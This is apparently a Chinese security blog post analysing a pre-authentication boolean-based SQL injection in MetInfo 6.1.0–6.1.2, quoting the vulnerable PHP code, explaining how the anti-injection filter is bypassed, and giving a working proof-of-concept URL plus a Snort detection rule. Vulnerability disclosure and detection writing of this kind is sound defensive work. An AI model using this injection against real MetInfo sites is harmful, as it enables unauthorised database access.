⭐Metinfo 6.1.2 无需登陆|布尔型SQL注入

原创 sauren  2018-11-27 15:52  阅读 378 views 次 评论 0 条

一、漏洞版本影响

MetInfo 6.1.0

MetInfo 6.1.1

MetInfo 6.1.2

二、漏洞文件分析

首先metinfo6.1.2/app/system/message/web/message.class.php文件第37-51行

public function add($info) {
    global $_M;
    if(!$_M[form][id]){
           $message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'");
           $_M[form][id]=$message[id];
    }
    $met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and  name= 'met_fd_ok' and columnid = {$_M[form][id]}");//关键注入语句
        $_M[config][met_fd_ok]= $met_fd_ok[value];
    if(!$_M[config][met_fd_ok])okinfo('javascript:history.back();',"{$_M[word][Feedback5]}");
    if($_M[config][met_memberlogin_code]){
      if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code'])){

       			okinfo(-1, $_M['word']['membercode']);
      }
      }

由于columnid = {$_M[form][id]}这段没有' 单引号包裹,存在注入问题。

其次Metinfo系统内有一个通用的防注入程序

if(!defined('IN_ADMIN')){

     $string=trim(addslashes(sqlinsert($string)));

}else{

     $string = trim(addslashes($string));

}

结合刚才的注入点,那么只需要找到一个文件定义了IN_ADMIN,并且执行了add函数,那么就可以进行注入了。

三、最终POC

最终找到以下注入点:

Siteserver/admin/index.php?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1&para139=1&para140=1&id=42 and 1=1

id=42是固定的,id参数存在布尔型的注入。此漏洞由于查库的显示设置、mysql报错设置等,一般只能用布尔型注入

类似下两图证明。

四、sonrt防御检测规则

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"metinfo sql inject"; content:"index.php";nocase; content:"n=message";nocase; content:"a=domessage";nocase; content:"id=42 ";nocase;sid:103041; rev:1; )

本文地址:https://www.sk15.net/archives/70.html
版权声明:本文为原创文章,版权归 sauren 所有,欢迎分享本文,转载请保留出处!
高性能云服务器特惠

发表评论


表情